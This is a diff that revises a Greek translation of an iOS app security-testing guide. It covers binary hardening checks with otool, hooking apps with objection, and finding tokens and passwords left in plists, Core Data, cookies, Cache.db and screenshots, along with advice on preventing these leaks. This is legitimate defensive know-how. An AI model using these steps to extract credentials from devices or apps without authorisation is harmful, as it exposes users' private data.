σημαία PIE ``` -- **Stack Canaries**: Για να επικυρωθεί η ακεραιότητα της στοίβας, μια τιμή ‘canary’ τοποθετείται στη στοίβα πριν από την κλήση μιας συνάρτησης και επικυρώνεται ξανά μόλις η συνάρτηση τελειώσει. +- **Stack Canaries**: Για να επικυρωθεί η ακεραιότητα της στοίβας, μια τιμή ‘canary’ τοποθετείται στη στοίβα πριν από την κλήση μιας συνάρτησης και επικυρώνεται ξανά μόλις τελειώσει η συνάρτηση. ```bash otool -I -v | grep stack_chk # Θα πρέπει να περιλαμβάνει τα σύμβολα: stack_chk_guard και stack_chk_fail @@ -74,7 +77,7 @@ otool -arch all -Vl | grep -A5 LC_ENCRYPT # Το cryptid θα π otool -Iv | grep -w "_CC_MD5" otool -Iv | grep -w "_CC_SHA1" -# Στο linux +# Σε linux grep -iER "_CC_MD5" grep -iER "_CC_SHA1" ``` @@ -87,7 +90,7 @@ otool -Iv | grep -w "_random" otool -Iv | grep -w "_srand" otool -Iv | grep -w "_rand" -# Στο linux +# Σε linux grep -iER "_random" grep -iER "_srand" grep -iER "_rand" @@ -99,7 +102,7 @@ grep -iER "_rand" # Στη συσκευή iOS otool -Iv | grep -w "_malloc" -# Στο linux +# Σε linux grep -iER "_malloc" ``` @@ -119,7 +122,7 @@ otool -Iv | grep -w "_sprintf" otool -Iv | grep -w "_printf" otool -Iv | grep -w "_vsprintf" -# Στο linux +# Σε linux grep -R "_gets" grep -iER "_memcpy" grep -iER "_strncpy" @@ -135,7 +138,7 @@ grep -iER "_vsprintf" ### Basic Dynamic Analysis -Δείτε την δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέσει αρκετές κλάσεις κάνοντας άλλες ενέργειες και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε. +Δείτε την δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέει πολλές κλάσεις κάνοντας άλλες ενέργειες και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε. ### Listing Installed Apps @@ -156,6 +159,7 @@ PID Name Identifier Μάθετε πώς να **αριθμείτε τα συστατικά της εφαρμογής** και πώς να **hookάρει εύκολα μεθόδους και κλάσεις** με το objection: + {{#ref}} ios-hooking-with-objection.md {{#endref}} @@ -168,17 +172,17 @@ ios-hooking-with-objection.md - **`_CodeSignature/`**: Αυτός ο φάκελος περιλαμβάνει ένα αρχείο plist που περιέχει μια υπογραφή, διασφαλίζοντας την ακεραιότητα όλων των αρχείων στο bundle. - **`Assets.car`**: Ένα συμπιεσμένο αρχείο που αποθηκεύει αρχεία πόρων όπως εικονίδια. - **`Frameworks/`**: Αυτός ο φάκελος φιλοξενεί τις εγγενείς βιβλιοθήκες της εφαρμογής, οι οποίες μπορεί να είναι σε μορφή αρχείων `.dylib` ή `.framework`. -- **`PlugIns/`**: Αυτό μπορεί να περιλαμβάνει επεκτάσεις της εφαρμογής, γνωστές ως αρχεία `.appex`, αν και δεν είναι πάντα παρόντα. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Χρησιμοποιείται για να αποθηκεύει τα μόνιμα δεδομένα της εφαρμογής σας για offline χρήση, να αποθηκεύει προσωρινά δεδομένα και να προσθέτει λειτουργία undo στην εφαρμογή σας σε μία μόνο συσκευή. Για να συγχρονίσετε δεδομένα σε πολλές συσκευές σε έναν μόνο λογαριασμό iCloud, το Core Data αντικατοπτρίζει αυτόματα το σχήμα σας σε ένα CloudKit container. +- **`PlugIns/`**: Αυτό μπορεί να περιλαμβάνει επεκτάσεις της εφαρμογής, γνωστές ως αρχεία `.appex`, αν και δεν είναι πάντα παρόντα. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Χρησιμοποιείται για να αποθηκεύει τα μόνιμα δεδομένα της εφαρμογής σας για offline χρήση, να αποθηκεύει προσωρινά δεδομένα και να προσθέτει λειτουργία undo στην εφαρμογή σας σε μια μόνο συσκευή. Για να συγχρονίσετε δεδομένα σε πολλές συσκευές σε έναν μόνο λογαριασμό iCloud, το Core Data αντικατοπτρίζει αυτόματα το σχήμα σας σε ένα CloudKit container. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Το αρχείο `PkgInfo` είναι ένας εναλλακτικός τρόπος για να καθορίσετε τους τύπους και τους κωδικούς δημιουργού της εφαρμογής ή του bundle σας. - **en.lproj, fr.proj, Base.lproj**: Είναι τα πακέτα γλώσσας που περιέχουν πόρους για αυτές τις συγκεκριμένες γλώσσες, και έναν προεπιλεγμένο πόρο σε περίπτωση που μια γλώσσα δεν υποστηρίζεται. - **Ασφάλεια**: Ο φάκελος `_CodeSignature/` παίζει κρίσιμο ρόλο στην ασφάλεια της εφαρμογής επαληθεύοντας την ακεραιότητα όλων των συσκευασμένων αρχείων μέσω ψηφιακών υπογραφών. - **Διαχείριση Πόρων**: Το αρχείο `Assets.car` χρησιμοποιεί συμπίεση για να διαχειρίζεται αποτελεσματικά τα γραφικά στοιχεία, κρίσιμο για τη βελτιστοποίηση της απόδοσης της εφαρμογής και τη μείωση του συνολικού της μεγέθους. -- **Frameworks και PlugIns**: Αυτοί οι φάκελοι υπογραμμίζουν τη μονάδα των εφαρμογών iOS, επιτρέποντας στους προγραμματιστές να συμπεριλαμβάνουν επαναχρησιμοποιήσιμες βιβλιοθήκες κώδικα (`Frameworks/`) και να επεκτείνουν τη λειτουργικότητα της εφαρμογής (`PlugIns/`). +- **Frameworks και PlugIns**: Αυτοί οι φάκελοι υπογραμμίζουν τη δυνατότητα modularity των εφαρμογών iOS, επιτρέποντας στους προγραμματιστές να συμπεριλαμβάνουν επαναχρησιμοποιήσιμες βιβλιοθήκες κώδικα (`Frameworks/`) και να επεκτείνουν τη λειτουργικότητα της εφαρμογής (`PlugIns/`). - **Τοπικοποίηση**: Η δομή υποστηρίζει πολλές γλώσσες, διευκολύνοντας την παγκόσμια εμβέλεια της εφαρμογής περιλαμβάνοντας πόρους για συγκεκριμένα πακέτα γλώσσας. **Info.plist** -Το **Info.plist** λειτουργεί ως θεμέλιο για τις εφαρμογές iOS, περιλαμβάνοντας βασικά δεδομένα ρύθμισης με τη μορφή **ζευγών κλειδιού-τιμής**. Αυτό το αρχείο είναι απαραίτητο όχι μόνο για τις εφαρμογές αλλά και για τις επεκτάσεις εφαρμογών και τα frameworks που περιλαμβάνονται. Είναι δομημένο είτε σε XML είτε σε δυαδική μορφή και περιέχει κρίσιμες πληροφορίες που κυμαίνονται από άδειες εφαρμογής έως ρυθμίσεις ασφαλείας. Για μια λεπτομερή εξερεύνηση των διαθέσιμων κλειδιών, μπορείτε να ανατρέξετε στην [**Τεκμηρίωση Προγραμματιστών της Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). +Το **Info.plist** χρησιμεύει ως θεμέλιο για τις εφαρμογές iOS, περιλαμβάνοντας βασικά δεδομένα ρύθμισης με τη μορφή **ζευγών κλειδιού-τιμής**. Αυτό το αρχείο είναι απαραίτητο όχι μόνο για τις εφαρμογές αλλά και για τις επεκτάσεις εφαρμογών και τα frameworks που περιλαμβάνονται. Είναι δομημένο είτε σε XML είτε σε δυαδική μορφή και περιέχει κρίσιμες πληροφορίες που κυμαίνονται από άδειες εφαρμογής έως ρυθμίσεις ασφαλείας. Για μια λεπτομερή εξερεύνηση των διαθέσιμων κλειδιών, μπορείτε να ανατρέξετε στην [**Τεκμηρίωση Προγραμματιστών της Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). Για όσους επιθυμούν να εργαστούν με αυτό το αρχείο σε μια πιο προσβάσιμη μορφή, η μετατροπή σε XML μπορεί να επιτευχθεί εύκολα μέσω της χρήσης του `plutil` σε macOS (διαθέσιμο εγγενώς σε εκδόσεις 10.2 και μεταγενέστερες) ή `plistutil` σε Linux. Οι εντολές για τη μετατροπή είναι οι εξής: @@ -200,9 +204,9 @@ $ grep -i Info.plist Στο περιβάλλον iOS, οι καταλόγοι προορίζονται συγκεκριμένα για **εφαρμογές συστήματος** και **εφαρμογές που έχουν εγκατασταθεί από τον χρήστη**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχουν εγκατασταθεί από τον χρήστη τοποθετούνται κάτω από `/var/mobile/containers/Data/Application/`. Αυτές οι εφαρμογές έχουν ανατεθεί μια μοναδική ταυτότητα γνωστή ως **128-bit UUID**, καθιστώντας την εργασία της χειροκίνητης εύρεσης του φακέλου μιας εφαρμογής δύσκολη λόγω της τυχαιότητας των ονομάτων των καταλόγων. > [!WARNING] -> Καθώς οι εφαρμογές στο iOS πρέπει να είναι sandboxed, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο **`$HOME/Library/Containers`** με το **`CFBundleIdentifier`** της εφαρμογής ως όνομα φακέλου. +> Καθώς οι εφαρμογές στο iOS πρέπει να είναι sandboxed, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο **`$HOME/Library/Containers`** με το **`CFBundleIdentifier`** της εφαρμογής ως το όνομα του φακέλου. > -> Ωστόσο, και οι δύο φάκελοι (φακέλοι δεδομένων & κοντέινερ) έχουν το αρχείο **`.com.apple.mobile_container_manager.metadata.plist`** που συνδέει και τα δύο αρχεία με το κλειδί `MCMetadataIdentifier`). +> Ωστόσο, και οι δύο φάκελοι (φάκελοι δεδομένων & κοντέινερ) έχουν το αρχείο **`.com.apple.mobile_container_manager.metadata.plist`** που συνδέει και τα δύο αρχεία με το κλειδί `MCMetadataIdentifier`). Για να διευκολυνθεί η ανακάλυψη του καταλόγου εγκατάστασης μιας εφαρμογής που έχει εγκατασταθεί από τον χρήστη, το εργαλείο **objection** παρέχει μια χρήσιμη εντολή, `env`. Αυτή η εντολή αποκαλύπτει λεπτομερείς πληροφορίες καταλόγου για την εφαρμογή σε ερώτηση. Παρακάτω είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε αυτήν την εντολή: ```bash @@ -248,9 +252,9 @@ lsof -p | grep -i "/containers" | head -n 1 - Το περιεχόμενο σε αυτή τη διεύθυνση **δεν είναι αντίγραφο ασφαλείας**. - Το λειτουργικό σύστημα μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος. - **Library/Application Support/** -- Περιέχει **μόνιμα** **αρχεία** απαραίτητα για την εκτέλεση της εφαρμογής. -- **Αόρατη** **για** **τους** **χρήστες** και οι χρήστες δεν μπορούν να γράψουν σε αυτήν. -- Το περιεχόμενο σε αυτή τη διεύθυνση **είναι** **αντίγραφο** **ασφαλείας**. +- Περιέχει **μόνιμα** **αρχεία** απαραίτητα για τη λειτουργία της εφαρμογής. +- **Αόρατη** **στους** **χρήστες** και οι χρήστες δεν μπορούν να γράψουν σε αυτήν. +- Το περιεχόμενο σε αυτή τη διεύθυνση είναι **αντίγραφο** **ασφαλείας**. - Η εφαρμογή μπορεί να απενεργοποιήσει διαδρομές ορίζοντας το `NSURLIsExcludedFromBackupKey`. - **Library/Preferences/** - Χρησιμοποιείται για την αποθήκευση ιδιοτήτων που μπορούν να **διαρκέσουν ακόμη και μετά την επανεκκίνηση μιας εφαρμογής**. @@ -259,7 +263,7 @@ lsof -p | grep -i "/containers" | head -n 1 - **tmp/** - Χρησιμοποιήστε αυτή τη διεύθυνση για να γράψετε **προσωρινά αρχεία** που δεν χρειάζεται να διαρκέσουν μεταξύ των εκκινήσεων της εφαρμογής. - Περιέχει μη μόνιμα αρχεία cache. -- **Αόρατη** για τους χρήστες. +- **Αόρατη** στους χρήστες. - Το περιεχόμενο σε αυτή τη διεύθυνση δεν είναι αντίγραφο ασφαλείας. - Το λειτουργικό σύστημα μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος. @@ -279,7 +283,7 @@ Regular 420 None ... README.txt ``` ### Αντίστροφη Μηχανική Δυαδικών -Μέσα στον φάκελο `.app` θα βρείτε ένα δυαδικό αρχείο που ονομάζεται ``. Αυτό είναι το αρχείο που θα **εκτελείται**. Μπορείτε να εκτελέσετε μια βασική επιθεώρηση του δυαδικού αρχείου με το εργαλείο **`otool`**: +Μέσα στον φάκελο `.app` θα βρείτε ένα δυαδικό αρχείο που ονομάζεται ``. Αυτό είναι το αρχείο που θα **εκτελείται**. Μπορείτε να εκτελέσετε μια βασική επιθεώρηση του δυαδικού με το εργαλείο **`otool`**: ```bash otool -Vh DVIA-v2 #Check some compilation attributes magic cputype cpusubtype caps filetype ncmds sizeofcmds flags @@ -367,15 +371,15 @@ ios-basics.md > [!WARNING] > Οι παρακάτω χώροι αποθήκευσης πληροφοριών θα πρέπει να ελέγχονται **αμέσως μετά την εγκατάσταση της εφαρμογής**, **μετά τον έλεγχο όλων των λειτουργιών** της εφαρμογής και ακόμη και μετά **την αποσύνδεση από έναν χρήστη και την είσοδο σε έναν διαφορετικό**.\ -> Ο στόχος είναι να βρείτε **μη προστατευμένες ευαίσθητες πληροφορίες** της εφαρμογής (κωδικοί πρόσβασης, tokens), του τρέχοντος χρήστη και προηγούμενων συνδεδεμένων χρηστών. +> Ο στόχος είναι να βρείτε **μη προστατευμένες ευαίσθητες πληροφορίες** της εφαρμογής (κωδικούς πρόσβασης, tokens), του τρέχοντος χρήστη και προηγούμενων συνδεδεμένων χρηστών. ### Plist -Τα **plist** αρχεία είναι δομημένα XML αρχεία που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγξετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα. +Τα **plist** αρχεία είναι δομημένα XML αρχεία που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγχετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα. -Ο πιο κοινός τρόπος για να διατηρηθούν τα δεδομένα σε αρχεία plist είναι μέσω της χρήσης του **NSUserDefaults**. Αυτό το αρχείο plist αποθηκεύεται μέσα στο sandbox της εφαρμογής στο **`Library/Preferences/.plist`** +Ο πιο κοινός τρόπος για να διατηρήσετε δεδομένα σε αρχεία plist είναι μέσω της χρήσης του **NSUserDefaults**. Αυτό το αρχείο plist αποθηκεύεται μέσα στο sandbox της εφαρμογής στο **`Library/Preferences/.plist`** -Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **plist** **αρχείο**, αλλά προορίζεται να χρησιμοποιείται με μικρές ποσότητες δεδομένων. +Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **plist** **αρχείο**, αλλά προορίζεται για χρήση με μικρές ποσότητες δεδομένων. Αυτά τα δεδομένα δεν μπορούν πλέον να προσπελαστούν απευθείας μέσω ενός αξιόπιστου υπολογιστή, αλλά μπορούν να προσπελαστούν εκτελώντας ένα **backup**. @@ -385,7 +389,7 @@ ios-basics.md ```bash find ./ -name "*.plist" ``` -Για να μετατρέψετε αρχεία από **XML ή δυαδική (bplist)** μορφή σε XML, διάφορες μέθοδοι ανάλογα με το λειτουργικό σας σύστημα είναι διαθέσιμες: +Για να μετατρέψετε αρχεία από **XML ή δυαδική (bplist)** μορφή σε XML, διατίθενται διάφορες μέθοδοι ανάλογα με το λειτουργικό σας σύστημα: **Για χρήστες macOS:** Χρησιμοποιήστε την εντολή `plutil`. Είναι ένα ενσωματωμένο εργαλείο στο macOS (10.2+), σχεδιασμένο για αυτόν τον σκοπό: ```bash @@ -402,12 +406,12 @@ ios plist cat /private/var/mobile/Containers/Data/Application/ ``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο για τη διαχείριση της μοντελοποιημένης στρώσης αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιήσει το SQLite ως μόνιμο αποθηκευτικό χώρο](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι μια βάση δεδομένων.\ +[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο για τη διαχείριση της μοντελοποιημένης στρώσης αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιεί το SQLite ως μόνιμο αποθηκευτικό χώρο](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι βάση δεδομένων.\ Το CoreData δεν κρυπτογραφεί τα δεδομένα του από προεπιλογή. Ωστόσο, μπορεί να προστεθεί μια επιπλέον στρώση κρυπτογράφησης στο CoreData. Δείτε το [GitHub Repo](https://github.com/project-imas/encrypted-core-data) για περισσότερες λεπτομέρειες. Μπορείτε να βρείτε τις πληροφορίες Core Data SQLite μιας εφαρμογής στη διαδρομή `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` -**Αν μπορείτε να ανοίξετε το SQLite και να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες, τότε έχετε βρει μια κακή ρύθμιση.** +**Εάν μπορείτε να ανοίξετε το SQLite και να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες, τότε έχετε βρει μια κακή διαμόρφωση.** ```objectivec:Code from iGoat -(void)storeDetails { AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); @@ -490,7 +494,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S Το iOS αποθηκεύει τα cookies των εφαρμογών στο **`Library/Cookies/cookies.binarycookies`** μέσα στον φάκελο κάθε εφαρμογής. Ωστόσο, οι προγραμματιστές μερικές φορές αποφασίζουν να τα αποθηκεύσουν στο **keychain** καθώς το αναφερόμενο **cookie file μπορεί να προσπελαστεί σε αντίγραφα ασφαλείας**. Για να επιθεωρήσετε το αρχείο cookies μπορείτε να χρησιμοποιήσετε [**αυτό το python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ή να χρησιμοποιήσετε το **`ios cookies get`** του objection.\ -**Μπορείτε επίσης να χρησιμοποιήσετε το objection για** να μετατρέψετε αυτά τα αρχεία σε μορφή JSON και να επιθεωρήσετε τα δεδομένα. +**Μπορείτε επίσης να χρησιμοποιήσετε το objection για να** μετατρέψετε αυτά τα αρχεία σε μορφή JSON και να επιθεωρήσετε τα δεδομένα. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json [ @@ -508,29 +512,29 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S ``` ### Cache -Από προεπιλογή, το NSURLSession αποθηκεύει δεδομένα, όπως **HTTP αιτήματα και απαντήσεις στη βάση δεδομένων Cache.db**. Αυτή η βάση δεδομένων μπορεί να περιέχει **ευαίσθητα δεδομένα**, εάν έχουν αποθηκευτεί tokens, ονόματα χρηστών ή οποιαδήποτε άλλη ευαίσθητη πληροφορία. Για να βρείτε τις αποθηκευμένες πληροφορίες, ανοίξτε τον κατάλογο δεδομένων της εφαρμογής (`/var/mobile/Containers/Data/Application/`) και μεταβείτε στο `/Library/Caches/`. Η **cache του WebKit αποθηκεύεται επίσης στο αρχείο Cache.db**. **Objection** μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή `sqlite connect Cache.db`, καθώς είναι μια **κανονική βάση δεδομένων SQLite**. +Από προεπιλογή, το NSURLSession αποθηκεύει δεδομένα, όπως **HTTP requests και responses στη βάση δεδομένων Cache.db**. Αυτή η βάση δεδομένων μπορεί να περιέχει **ευαίσθητα δεδομένα**, αν έχουν αποθηκευτεί tokens, usernames ή οποιαδήποτε άλλη ευαίσθητη πληροφορία. Για να βρείτε τις αποθηκευμένες πληροφορίες, ανοίξτε τον φάκελο δεδομένων της εφαρμογής (`/var/mobile/Containers/Data/Application/`) και πηγαίνετε στο `/Library/Caches/`. Η **cache του WebKit αποθηκεύεται επίσης στο αρχείο Cache.db**. **Objection** μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή `sqlite connect Cache.db`, καθώς είναι μια **κανονική βάση δεδομένων SQLite**. -Συνιστάται **να απενεργοποιήσετε την αποθήκευση αυτών των δεδομένων**, καθώς μπορεί να περιέχουν ευαίσθητες πληροφορίες στην αίτηση ή την απάντηση. Η παρακάτω λίστα δείχνει διάφορους τρόπους για να το επιτύχετε αυτό: +Συνιστάται να απενεργοποιήσετε την αποθήκευση αυτών των δεδομένων, καθώς μπορεί να περιέχουν ευαίσθητες πληροφορίες στην αίτηση ή την απάντηση. Η παρακάτω λίστα δείχνει διάφορους τρόπους για να το επιτύχετε αυτό: -1. Συνιστάται να αφαιρείτε τις αποθηκευμένες απαντήσεις μετά την αποσύνδεση. Αυτό μπορεί να γίνει με τη μέθοδο που παρέχει η Apple, που ονομάζεται [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Μπορείτε να καλέσετε αυτή τη μέθοδο ως εξής: +1. Συνιστάται να αφαιρείτε τις Cached responses μετά την αποσύνδεση. Αυτό μπορεί να γίνει με τη μέθοδο που παρέχει η Apple, που ονομάζεται [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Μπορείτε να καλέσετε αυτή τη μέθοδο ως εξής: `URLCache.shared.removeAllCachedResponses()` -Αυτή η μέθοδος θα αφαιρέσει όλα τα αποθηκευμένα αιτήματα και απαντήσεις από το αρχείο Cache.db. +Αυτή η μέθοδος θα αφαιρέσει όλες τις αποθηκευμένες αιτήσεις και απαντήσεις από το αρχείο Cache.db. -2. Εάν δεν χρειάζεται να χρησιμοποιήσετε το πλεονέκτημα των cookies, θα ήταν προτιμότερο να χρησιμοποιήσετε την ιδιότητα διαμόρφωσης [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) του URLSession, η οποία θα απενεργοποιήσει την αποθήκευση cookies και Caches. +2. Αν δεν χρειάζεται να χρησιμοποιήσετε το πλεονέκτημα των cookies, θα ήταν προτιμότερο να χρησιμοποιήσετε την ιδιότητα ρύθμισης [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) του URLSession, η οποία θα απενεργοποιήσει την αποθήκευση cookies και Caches. [Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): `An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.` -3. Η cache μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας την Πολιτική Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση της cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο. +3. Η cache μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας την Πολιτική Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση Cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο. ### Snapshots -Όποτε πατάτε το κουμπί αρχικής οθόνης, το iOS **λαμβάνει μια στιγμιότυπο της τρέχουσας οθόνης** για να μπορέσει να κάνει τη μετάβαση στην εφαρμογή με πολύ πιο ομαλό τρόπο. Ωστόσο, εάν υπάρχουν **ευαίσθητα** **δεδομένα** στην τρέχουσα οθόνη, θα **αποθηκευτούν** στην **εικόνα** (η οποία **διατηρείται** **μετά** **από** **επανεκκινήσεις**). Αυτά είναι τα στιγμιότυπα που μπορείτε επίσης να αποκτήσετε πρόσβαση διπλά πατώντας την αρχική οθόνη για να αλλάξετε μεταξύ εφαρμογών. +Όποτε πατάτε το κουμπί αρχικής οθόνης, το iOS **λαμβάνει ένα στιγμιότυπο της τρέχουσας οθόνης** για να μπορέσει να κάνει τη μετάβαση στην εφαρμογή με πολύ πιο ομαλό τρόπο. Ωστόσο, αν υπάρχουν **ευαίσθητα** **δεδομένα** στην τρέχουσα οθόνη, θα **αποθηκευτούν** στην **εικόνα** (η οποία **διατηρείται** **μετά** **από** **επανεκκινήσεις**). Αυτά είναι τα στιγμιότυπα που μπορείτε επίσης να αποκτήσετε πρόσβαση διπλά πατώντας την αρχική οθόνη για να αλλάξετε μεταξύ εφαρμογών. -Εκτός εάν το iPhone είναι jailbroken, ο **επιτιθέμενος** χρειάζεται να έχει **πρόσβαση** στη **συσκευή** **ξεκλειδωμένη** για να δει αυτά τα στιγμιότυπα. Από προεπιλογή, το τελευταίο στιγμιότυπο αποθηκεύεται στο sandbox της εφαρμογής στον φάκελο `Library/Caches/Snapshots/` ή `Library/SplashBoard/Snapshots` (οι αξιόπιστοι υπολογιστές δεν μπορούν να έχουν πρόσβαση στο σύστημα αρχείων από το iOX 7.0). +Εκτός αν το iPhone είναι jailbroken, ο **επιτιθέμενος** χρειάζεται να έχει **πρόσβαση** στη **συσκευή** **ξεκλειδωμένη** για να δει αυτά τα στιγμιότυπα. Από προεπιλογή, το τελευταίο στιγμιότυπο αποθηκεύεται στο sandbox της εφαρμογής στον φάκελο `Library/Caches/Snapshots/` ή `Library/SplashBoard/Snapshots` (οι αξιόπιστοι υπολογιστές δεν μπορούν να έχουν πρόσβαση στο filesystem από το iOX 7.0). Ένας τρόπος για να αποτρέψετε αυτή τη κακή συμπεριφορά είναι να βάλετε μια κενή οθόνη ή να αφαιρέσετε τα ευαίσθητα δεδομένα πριν από τη λήψη του στιγμιότυπου χρησιμοποιώντας τη λειτουργία `ApplicationDidEnterBackground()`. @@ -584,12 +588,12 @@ credential = [NSURLCredential credentialWithUser:username password:password pers ## **Προσαρμοσμένα Πληκτρολόγια και Κρυφή Μνήμη Πληκτρολογίου** -Με το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν προσαρμοσμένες επεκτάσεις πληκτρολογίου, οι οποίες είναι διαχειρίσιμες υπό **Ρυθμίσεις > Γενικά > Πληκτρολόγιο > Πληκτρολόγια**. Ενώ αυτά τα πληκτρολόγια προσφέρουν επεκτεταμένη λειτουργικότητα, ενέχουν τον κίνδυνο καταγραφής πλήκτρων και μετάδοσης δεδομένων σε εξωτερικούς διακομιστές, αν και οι χρήστες ειδοποιούνται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν και πρέπει να περιορίζουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών. +Με το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν προσαρμοσμένες επεκτάσεις πληκτρολογίου, οι οποίες είναι διαχειρίσιμες κάτω από **Ρυθμίσεις > Γενικά > Πληκτρολόγιο > Πληκτρολόγια**. Ενώ αυτά τα πληκτρολόγια προσφέρουν επεκτεταμένη λειτουργικότητα, ενέχουν τον κίνδυνο καταγραφής πλήκτρων και μετάδοσης δεδομένων σε εξωτερικούς διακομιστές, αν και οι χρήστες ειδοποιούνται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν και πρέπει να περιορίζουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών. **Συστάσεις Ασφαλείας:** - Συνιστάται να απενεργοποιούνται τα πληκτρολόγια τρίτων για αυξημένη ασφάλεια. -- Να είστε προσεκτικοί με τις δυνατότητες αυτόματης διόρθωσης και αυτόματων προτάσεων του προεπιλεγμένου πληκτρολογίου iOS, οι οποίες θα μπορούσαν να αποθηκεύσουν ευαίσθητες πληροφορίες σε αρχεία κρυφής μνήμης που βρίσκονται 